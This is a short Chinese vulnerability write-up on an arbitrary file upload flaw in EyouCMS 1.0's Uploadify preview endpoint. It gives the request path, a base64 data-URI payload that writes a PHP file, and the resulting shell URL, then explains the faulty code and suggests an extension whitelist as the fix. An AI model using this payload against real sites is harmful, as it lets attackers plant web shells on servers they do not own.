0x01 前言


官网:http://www.eyoucms.com/download/

Cms下载地址:http://www.eyoucms.com/eyoucms1.0.zip


一顿查看以后,发现了个很奇葩的任意上传接口,这个漏洞应该是补天那个老哥提交的漏洞了。查找到以后就分析一波了。


0x02 利用


老样子:先讲如何利用

url: test.eyoucms1.0.com/index.php/api/Uploadify/preview


构造: <?php phpinfo;



post: data:image/php;base64,PD9waHAgcGhwaW5mbygpOw==


Shell: http://test.eyoucms1.0.com/preview/ae85d74a721b0b8bd247bc31207a12e2.php



0x03 漏洞详解


漏洞文件: eyoucms1.0\application\api\controller\Uploadify.php

漏洞函数:preview()



这里我将每行有意义的代码都解释了一下帮助读者进行查看。


而我刚开始时也思考了一下,这会不会是作者故意搞的后门?

带着这个问题我去问了一下加的php群的一些程序员 他们很惊讶的 表示data:image/ 居然还可以不是图片?

好吧。到这里我就基本明白为什么这个漏洞会出现了,估计作者以为data:image/ 只能是图片。


0x04 漏洞修复建议


if (!in_array($type, array('jpg', 'png', 'jpeg', 'gif'), true)) {
   exit;
}